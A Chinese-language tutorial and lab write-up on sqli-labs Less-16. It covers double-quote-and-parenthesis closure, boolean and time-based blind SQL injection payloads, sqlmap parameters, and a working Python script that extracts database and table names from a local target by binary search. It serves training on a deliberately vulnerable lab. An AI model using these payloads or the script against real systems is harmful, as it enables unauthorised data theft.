sqli-labs整套靶场我前前后后刷过两遍,Less-16属于那种看着不难、上手就卡住的关卡。前面几关要么是字符型注入能直接回显,要么是报错信息直接摆在页面上,到了Less-16突然变成POST登录框,没有回显点,也不输出数据库报错,整页只有登录成功和登录失败两种状态。很多人到这关习惯性用联合注入碰运气,结果全被挡了回来。Less-16真正的考点是双引号加括号的闭合方式,以及基于布尔盲注的自动化提取思路。这篇文章拿它做案例,把自动化注入从工具参数到自写脚本的完整链路拆开讲清楚,包括闭合判断、响应特征固定、二分法猜解数据、踩坑经验,以及这套方法怎么迁移到其他关卡。
1. Less-16在考什么:闭合方式与盲注判断
1.1 后端SQL形态:双引号里套括号
先看后台大致拼出来的SQL长什么样。Less-16的登录查询,常见的写法是把用户名和密码分别包进一对双引号,再用小括号整体包一层:
SELECT username FROM users WHERE username = ("$uname") AND password = ("$passwd")注意这个结构:用户输入admin,实际比较的是("admin")。很多人在前面Less-5、Less-6养成了用单引号闭合的习惯,到这一关自然失灵。真正要闭合的是双引号加右括号,所以一个典型的注入payload是:
") or (1=1)#拼到SQL里变成:
SELECT username FROM users WHERE username = ("") or (1=1)#") AND password = ("x")#把后面多出来的引号、括号、AND password整段注释掉,最终真正执行的只有WHERE username = ("") or (1=1),条件恒真。这就是Less-16最基础的闭合方式。
为了确认这个结论,可以在本地环境做几组对照测试。给uname分别传'、"、')、")四种前缀,观察页面响应。只有使用")时后续构造才能形成稳定可用的SQL逻辑,其他几种要么报语法错误、要么条件不成立。对自动化来说,这一步骤是整个流程的地基,后续所有的payload都必须保证构造出来的SQL语法合法。
1.2 为什么只能用盲注:无回显、无报错
Less-16的页面逻辑很干净:登录成功返回成功标志,失败则提示Login Failed,数据库查询结果不会在任何位置回显。这意味着联合注入拿不到输出位置,常规报错注入也因为没有展示错误信息而无效。剩下的选择就是布尔盲注和时间盲注。
布尔盲注的核心是把“查询某个值等于什么”拆成无数个判断题。每次请求构造一个条件,比如ascii(substr(database(),1,1))>100,根据页面返回状态判断条件真假。一次请求只得到1比特信息,所以自动化的核心问题就是如何用尽量少的请求把整个数据库名、表名、字段名逐字符猜出来。
这里有一个非常重要的认知:盲注不是一种“特殊技巧”,而是把SQL查询能力降级成“条件判断通道”的思维方式。理解了这一点,Less-16就不再是背payload的关卡,而是理解自动化工具原理的训练场。
2. 自动化前的准备:把真假响应固化成指标
2.1 抓包确认请求结构和对照测试
无论用工具还是手写脚本,第一步都是抓包。我用Burp Suite打开本地靶场,提交一次正常登录,拿到登录请求:
POST /sqli-labs/Less-16/login.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded uname=admin&passwd=admin请求体就两个参数。接下来做两组对照:
第一组是真条件,uname传:
") or (1=1)#第二组是假条件,传:
") or (1=2)#正常情况下,两组响应会存在稳定差异。我在本机环境看到的情况是真条件返回页面里出现Login Failed提示,假条件则没有这个提示,停留在登录表单页。不同部署环境下这个差异可能不同,有的版本是跳转路径不同,有的版本是响应头里多一个Cookie,所以一定要以自己抓包的响应内容为准。
这里有个细节容易被忽略:调试闭合方式时不要直接在浏览器地址栏里改参数。浏览器会把#当作页面锚点,根本不会发给服务器。用Burp的Repeater或者命令行工具发请求,得到的结果才是真实可控的。
2.2 选判断指标:越简单越不容易误判
自动化脚本需要一个稳定的布尔判断函数。最简单的方式是检测响应里是否存在某个固定字符串,比如Login Failed。脚本每次拿到响应后判断“包含”或“不包含”,返回True或False。
选指标时要注意排除动态内容。如果页面右下角有时间戳、访问计数之类的动态元素,这些内容会产生干扰。我曾经遇到过一次误判:页面里有个动态时间字段,导致同一个payload重放两次,响应内容不同,脚本把真条件误判成了假条件。解决办法是选一个静态的、只跟登录状态相关的字符串作为指标,比如页面里固定的提示文案,或者干脆用整个页面的HTML长度。长度指标在测试环境里通常很稳定,但前提是页面只有登录状态这一个变化源。
如果页面响应完全没有稳定差异,那就只能转到时间盲注路线,用") or (sleep(5))#和") or (sleep(0))#的响应时间差作为判断依据。时间盲注速度慢、干扰大,属于备选方案,但对Less-16这种固定靶场来说,布尔盲注一般就够用了。
3. 用现成注入工具跑Less-16的调参记录
3.1 基础命令:从保存请求文件开始
如果目标只是快速拿数据,主流注入检测工具是个很省事的选择。我以sqlmap为例,先把Burp里抓到的原始请求保存成req.txt,然后跑基础命令:
sqlmap -r req.txt --batch但实际经验是,Less-16直接跑基础命令大概率跑不出来,或者会漏报。因为默认检测流程对“双引号+括号+布尔盲注”的组合识别效率不高,需要手动指定参数。
3.2 关键参数:限定技术类型和特征值
我一般按这个顺序调参:
sqlmap -r req.txt --batch \ --dbms=mysql \ --technique=B \ --level=3 \ --string="Login Failed"各参数的意义:
--dbms=mysql:直接指定数据库类型,减少无效探测。--technique=B:只启用布尔盲注。工具默认会多种技术一起跑,Less-16不适合联合注入,手动限定能省大量时间。--level=3:提高检测深度,让工具测更多POST参数和payload组合。--string="Login Failed":手动指定布尔判断的特征字符串,相当于把上一节“选指标”的结论直接告诉工具。
如果加上这些还是识别不了,就手动指定闭合方式:
sqlmap -r req.txt --batch \ --dbms=mysql \ --technique=B \ --prefix='")' \ --suffix='#'--prefix和--suffix分别指定在payload前后需要拼接的内容。手动指定闭合符后,工具不需要再花大量请求去猜SQL形态,效率和成功率会明显提升。
3.3 从工具输出反向学习payload构造
跑通之后,工具会dump出数据库名、表名、字段名、数据。我建议把日志打开,观察它实际发送的payload。工具在布尔盲注阶段会大量使用这类表达式:
substr(database(),1,1) > 'm'这正好也是手写脚本时最核心的查询结构。把工具生成的payload当成参考答案,比自己从零猜测要高效很多。
但工具不是万能的。有一次我给某个环境跑Less-16,工具一直提示“无法注入”,最后发现是响应里同时存在多个动态参数,工具选择特征时误判了。加了--string强制指定后,一次就出数据。所以工具调参的核心,还是建立在你对闭合方式和响应特征的理解之上,不理解原理就只能盲试。
4. 手写Python脚本实现自动化布尔盲注
4.1 脚本的设计结构
自己写脚本不是为了替代工具,而是为了彻底搞懂盲注的每一步。整个脚本的逻辑分四层:
- 发送payload,获取响应;
- 根据响应特征把页面归类为True或False;
- 用二分法猜解字符串长度;
- 逐个字符猜解内容。
4.2 完整可运行的示例代码
import requests url = "http://127.0.0.1/sqli-labs/Less-16/login.php" # 这个特征值以实际抓包为准,真条件返回中包含该字符串 TRUE_MARK = "Login Failed" def send_payload(condition_expr): payload = '") or ' + condition_expr + '#' data = { "uname": payload, "passwd": "x" } resp = requests.post(url, data=data, timeout=10) return resp.text def is_true(condition_expr): text = send_payload(condition_expr) return TRUE_MARK in text def get_length(expr): lo, hi = 1, 64 while lo < hi: mid = (lo + hi) // 2 if is_true(f"length({expr})>{mid}"): lo = mid + 1 else: hi = mid return lo def get_char(expr, pos): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if is_true(f"ascii(substr({expr},{pos},1))>{mid}"): lo = mid + 1 else: hi = mid return chr(lo) def get_value(expr, name): length = get_length(expr) value = "" for i in range(1, length + 1): value += get_char(expr, i) print(f"{name}: {value}") return value database_name = get_value("database()", "database") print("DB_NAME:", database_name)这段代码的使用场景是本地授权的靶场练习。核心思路很简单:先猜长度,再猜字符。每次请求都只问一个不等式问题,然后根据响应真伪缩小区间。
4.3 二分法为什么高效
盲注每次请求只能得到一比特信息,因此请求次数直接决定效率。如果逐字符穷举,每个字符最多要试255次;用二分法,每个字符只需要8次左右。差距非常明显,一个20字符的数据库名,穷举可能要发5000次请求,二分法只需要160次左右。自动化注入的优化重点就在这里。
二分法的前提条件是布尔判断必须严格单调。比如判断length(database())>mid,随着mid增大,结果是“真真真假假假”,收敛没有问题。字符判断用ascii(substr(...))>mid同理。字符范围我设定为32到126,覆盖所有可见ASCII字符,对于数据库名、表名、字段名这些场景已经足够。如果遇到特殊字符,把范围扩展到0到255,再配合白名单过滤即可。
4.4 从库名扩展到表名和字段名
拿到数据库名后,下一步是把expr替换成更复杂的子查询。比如提取所有表名的核心表达式是:
(select group_concat(table_name) from information_schema.tables where table_schema=database())放到二分函数里就是:
table_names = get_value( "(select group_concat(table_name) from information_schema.tables where table_schema=database())", "tables" )这个思路可以一直延伸,从库名到表名、列名、字段内容,原理完全一样,都是把SQL查询结果拆成单个字符逐个猜测。
需要注意MySQL版本差异。MySQL 5.x的information_schema和MySQL 8.x在部分字段的权限要求上不同,如果你在较新环境里跑,可能会遇到查不到table_schema的情况。本地靶场一般默认5.x或MariaDB,问题不大,但如果遇到过不去的坎,可以先确认一下数据库版本。
5. 实战中的典型问题与排查技巧
5.1 判断指标不稳定
表现形式是同样的payload发送多次,有时候响应包含特征,有时候不包含。这种情况多半是页面存在动态内容,或者请求间隔过快导致连接重置。排查步骤是先固定Burp重放,确认特征是否稳定。如果不稳定,换一个更静态的特征字段,必要时转时间盲注。本机靶场通常没有网络波动,基本都能靠稳定特征解决。
5.2 注释符失效
#注释符在MySQL里没问题,但如果你部署环境是特定配置的MariaDB,或者某些过滤规则干掉了#,payload就会直接报SQL语法错误。替换方案是使用--(两个短横线加空格)作为注释符,或者手动闭合掉末尾的引号和括号,不依赖注释符。比如:
") or (1=1)"不过这需要根据SQL整体形态微调。使用requests库时,#放在data字典里会被正确发送,不需要手动URL编码,但如果你手写data字符串,要小心转义问题。
5.3 工具跑不出布尔特征
sqlmap提示找不到布尔盲注条件时,先回到手工测试,用Burp确认真条件和假条件到底差异在哪里。手动确认后,再通过--string、--not-string或--code告诉工具该看什么。--string是指定包含即命中,--not-string是指定不包含即命中,选哪个取决于你的特征设定。如果特征本身选错了,工具再怎么调参也没用。
5.4 请求频率过高被拒
自己写的脚本默认没有限速,一个循环下来可能短时间内发几百个请求。本地靶场大多能扛住,但只用了几个月的老机器或者容器环境可能直接不响应。解决方式很简单,在循环体里加一行:
time.sleep(0.1)实测下来0.1秒的间隔完全够用,500个请求也就多花50秒。相比盲注需要人工一轮轮猜,这已经快到可以忽略不计了。
5.5 子查询表达式太长导致失败
表名提取的表达式比database()复杂得多,很容易因为括号或者引号使用不当导致SQL拼接错误。排查建议是先跑一个简单表达式,比如:
(select table_name from information_schema.tables limit 0,1)确认这个基础查询能正常返回数据,再逐渐替换成group_concat版本。如果简单表达式都拿不到结果,问题多半出在闭合符上,回到第1节重新检查。
6. 从Less-16延伸开去:自动化注入的通用套路
6.1 找闭合、定特征、提取数据三个固定动作
Less-16把自动化注入的流程压缩得很典型。拿到任何一个疑似注入点时,不管是不是POST盲注,流程都是固定的:
第一步是找闭合。通过单引号、双引号、括号组合触发SQL语法错误或响应差异,确定后台SQL的包裹方式。Less-16是"),Less-5是',Less-6是",每一关都有差异。
第二步是定特征。在没有回显和报错的情况下,找到页面在True和False两种条件下的稳定差异,这个差异就是自动化的判断依据。没有稳定差异就转时间维度。
第三步是提取数据。把SQL查询改写成条件表达式,用二分法逐字符猜解。工具跑这个步骤很快,自己写脚本则能看清每一步。
6.2 这套方法怎么迁移到其他关卡
把Less-16吃透之后,Less-17到Less-20的难度就降下来了。Less-17是UPDATE语句的注入,Less-18是User-Agent头注入,Less-19是Referer头注入,Less-20是Cookie注入。看起来注入点位置变了,但底层思路完全一致:构造闭合、观察响应、用条件判断提取数据。唯一需要调整的是请求构造方式。比如请求头注入时,不只有uname和passwd两个参数,还要在请求头里额外发送payload,这时用requests构造请求要单独加headers参数。
我在实际练习中最深的体会是,工具能帮你省时间,但永远替代不了“理解注入点为什么成立”这一环。如果有一次你让sqlmap跑通了Less-16,但没有设置任何参数、也没看它发送的payload,你以为自己掌握了自动化注入,等换到Less-17就会原形毕露。反过来,如果手写脚本跑通了Less-16,再用工具核对结果,你会很清楚工具每个参数是在做什么。
最后再分享一个小技巧:写脚本的时候不要一上来就追求多线程和高效猜解,先用单线程、顺序遍历把数据库名跑通,确认整条链路没问题,再考虑优化速度。这样出了问题排查起来非常快,不会一报错就被并发请求淹没。